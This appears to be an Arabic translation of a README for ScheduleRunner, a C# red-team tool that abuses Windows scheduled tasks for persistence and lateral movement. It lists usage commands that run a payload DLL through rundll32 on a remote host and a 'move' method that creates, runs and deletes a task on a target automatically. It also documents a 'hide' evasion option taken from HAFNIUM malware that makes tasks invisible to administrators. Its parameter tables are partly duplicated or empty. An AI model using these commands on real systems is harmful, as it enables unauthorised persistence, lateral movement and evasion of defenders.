
أداة بلغة C# توفر مرونة أكبر لتخصيص المهام المجدولة بهدف الاستمرارية والحركة الجانبية في عمليات الفريق الأحمر
المهمة المجدولة هي واحدة من أكثر تقنيات الهجوم شيوعًا في العقد الماضي، ولا تزال تُستخدم بشكل شائع من قبل المخترقين/فرق الأحمر للاستمرارية والحركة الجانبية.
تم تطوير عدد من أدوات C# لمحاكاة الهجوم باستخدام المهمة المجدولة. لقد جربت بعضها ولكن لكل منها قيوده الخاصة في تخصيص المهمة المجدولة. لذلك، يهدف هذا المشروع إلى توفير أداة C# (متوافقة مع CobaltStrike execute-assembly) لتضمين الميزات التي أحتاجها وتوفير مرونة كافية لتخصيص المهمة المجدولة.

| الطريقة | الوظيفة |
|---|---|
| create | إنشاء مهمة مجدولة جديدة |
| delete | حذف مهمة مجدولة موجودة |
| run | تنفيذ مهمة مجدولة موجودة |
| query | استعلام عن تفاصيل مهمة مجدولة أو جميع المهام المجدولة داخل مجلد |
| queryfolders | استعلام عن جميع المجلدات الفرعية في المهام المجدولة |
| move | تنفيذ حركة جانبية باستخدام المهمة المجدولة (إنشاء وتشغيل وحذف تلقائيًا) |
[*] هي حقول إلزامية.
| الطريقة | الوظيفة |
|---|
[*] هي حقول إلزامية.
| الطريقة | الوظيفة |
|---|---|
| [*] /taskname | تحديد اسم المهمة المجدولة |
| /folder | تحديد المجلد الذي تخزن فيه المهمة المجدولة (الافتراضي: \) |
| /remoteserver | تحديد اسم المضيف أو عنوان IP لجهاز كمبيوتر بعيد |
[*] هي حقول إلزامية.
| الطريقة | الوظيفة |
|---|---|
| /taskname | تحديد اسم المهمة المجدولة |
| /folder | تحديد المجلد الذي تخزن فيه المهمة المجدولة (الافتراضي: \) |
| /remoteserver | تحديد اسم المضيف أو عنوان IP لجهاز كمبيوتر بعيد |
[*] هي حقول إلزامية.
[*] هي حقول إلزامية.
إنشاء مهمة مجدولة تُسمى "Cleanup" سيتم تنفيذها يوميًا الساعة 11:30 مساءً.
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
إنشاء مهمة مجدولة تُسمى "Cleanup" سيتم تنفيذها كل 4 ساعات على خادم بعيد
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
حذف مهمة مجدولة تُسمى "Cleanup"
ScheduleRunner.exe /method:delete /taskname:Cleanup
تنفيذ مهمة مجدولة تُسمى "Cleanup"
ScheduleRunner.exe /method:run /taskname:Cleanup
استعلام عن تفاصيل مهمة مجدولة تُسمى "Cleanup" داخل المجلد "\Microsoft\Windows\CertificateServicesClient" على خادم بعيد
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
استعلام عن جميع المهام المجدولة داخل مجلد محدد "\Microsoft\Windows\CertificateServicesClient" على خادم بعيد
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
استعلام عن جميع المجلدات الفرعية في المهام المجدولة
ScheduleRunner.exe /method:queryfolders
تنفيذ حركة جانبية باستخدام المهمة المجدولة إلى خادم بعيد باستخدام حساب مستخدم محدد
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
إنشاء مهمة مجدولة تُسمى "Cleanup" باستخدام تقنية إخفاء المهمة المجدولة:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
حذف مهمة مجدولة تُسمى "Cleanup" استخدمت تقنية إخفاء المهمة المجدولة:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
هذه التقنية استخدمها المهاجم - HAFNIUM واكتشفتها Microsoft مؤخرًا. تهدف إلى جعل المهمة المجدولة غير قابلة للاستعلام بواسطة الأدوات وغير مرئية لمدير المهام.
لاستخدام هذه التقنية، يجب أن تكون لديك صلاحية "NT AUTHORITY/SYSTEM" وسيقوم ScheduleRunner بما يلي نيابة عنك:
لإزالة المهمة المجدولة التي تم إنشاؤها باستخدام هذه التقنية، يجب إضافة "/technique:hide" في طريقة الحذف لإزالتها بشكل صحيح.
ستستمر المهمة في العمل حتى إعادة تشغيل النظام التالية حتى إذا تم حذف المهمة عبر السجل. لذلك، من الأفضل عدم استخدام هذه التقنية في الخادم لصالح عمليتك.

| المكتبة | الرابط |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| المرجع | الرابط |
|---|---|
| SharpPersist | https://github.com/mandiant/SharPersist |
| تقنية إخفاء المهمة المجدولة | https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ |
| الطريقة | الوظيفة |
|---|
| [*] /taskname | تحديد اسم المهمة المجدولة |
| [*] /program | تحديد البرنامج الذي تشغله المهمة |
| [*] /trigger | تحديد نوع الجدول. القيم الصالحة تشمل: "minute", "hourly", "daily", "weekly", "onstart", "onlogon", و "onidle" |
| /modifier | تحديد عدد مرات تشغيل المهمة ضمن نوع الجدول. ينطبق فقط على أنواع الجدول مثل "minute" (مثلاً 1-1439 دقيقة)، و"hourly" (مثلاً 1-23 ساعة)، و"weekly" (مثلاً mon,sat,sun) |
| /starttime | تحديد وقت البدء لنوع الجدول اليومي (مثلاً 23:30) |
| /argument | تحديد وسيط سطر الأوامر للبرنامج |
| /folder | تحديد المجلد الذي تخزن فيه المهمة المجدولة (الافتراضي: \) |
| /workingdir | تحديد دليل العمل الذي سيتم تنفيذ المهمة المجدولة فيه |
| /author | تحديد مؤلف المهمة المجدولة |
| /description | تحديد وصف المهمة المجدولة |
| /remoteserver | تحديد اسم المضيف أو عنوان IP لجهاز كمبيوتر بعيد |
| /user | تشغيل المهمة بحساب مستخدم محدد |
| /technique | تحديد تقنية التهرب: - "hide": تقنية يستخدمها برنامج ضار HAFNIUM والتي ستخفي المهمة المجدولة من استعلام المهام [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] هذه التقنية لا تدعم التنفيذ عن بعد بسبب صلاحيات السجل عن بعد. تتطلب "NT AUTHORITY\SYSTEM" وستستمر المهمة في العمل حتى إعادة تشغيل النظام حتى بعد حذف المهمة |
| [*] /taskname | تحديد اسم المهمة المجدولة |
| /folder | تحديد المجلد الذي تخزن فيه المهمة المجدولة (الافتراضي: \) |
| /remoteserver | تحديد اسم المضيف أو عنوان IP لجهاز كمبيوتر بعيد |
| /technique | تحديد وقت إنشاء المهمة المجدولة باستخدام تقنية التهرب: - "hide": حذف مهمة مجدولة استخدمت تقنية "إخفاء المهمة المجدولة" [!] يتطلب الحذف صلاحية "NT AUTHORITY\SYSTEM" وستستمر المهمة في العمل حتى إعادة تشغيل النظام حتى بعد حذف المهمة |
| الطريقة | الوظيفة |
|---|
| [*] /taskname | تحديد اسم المهمة المجدولة |
| [*] /program | تحديد البرنامج الذي تشغله المهمة |
| [*] /remoteserver | تحديد اسم المضيف أو عنوان IP لجهاز كمبيوتر بعيد |
| /trigger | تحديد نوع الجدول. القيم الصالحة تشمل: "minute", "hourly", "daily", "weekly", "onstart", "onlogon", و "onidle" |
| /modifier | تحديد عدد مرات تشغيل المهمة ضمن نوع الجدول. ينطبق فقط على أنواع الجدول مثل "minute" (مثلاً 1-1439 دقيقة)، و"hourly" (مثلاً 1-23 ساعة)، و"weekly" (مثلاً mon,sat,sun) |
| /starttime | تحديد وقت البدء لنوع الجدول اليومي (مثلاً 23:30) |
| /argument | تحديد وسيط سطر الأوامر للبرنامج |
| /folder | تحديد المجلد الذي تخزن فيه المهمة المجدولة (الافتراضي: \) |
| /workingdir | تحديد دليل العمل الذي سيتم تنفيذ المهمة المجدولة فيه |
| /author | تحديد مؤلف المهمة المجدولة |
| /description | تحديد وصف المهمة المجدولة |
| /user | تشغيل المهمة بحساب مستخدم محدد |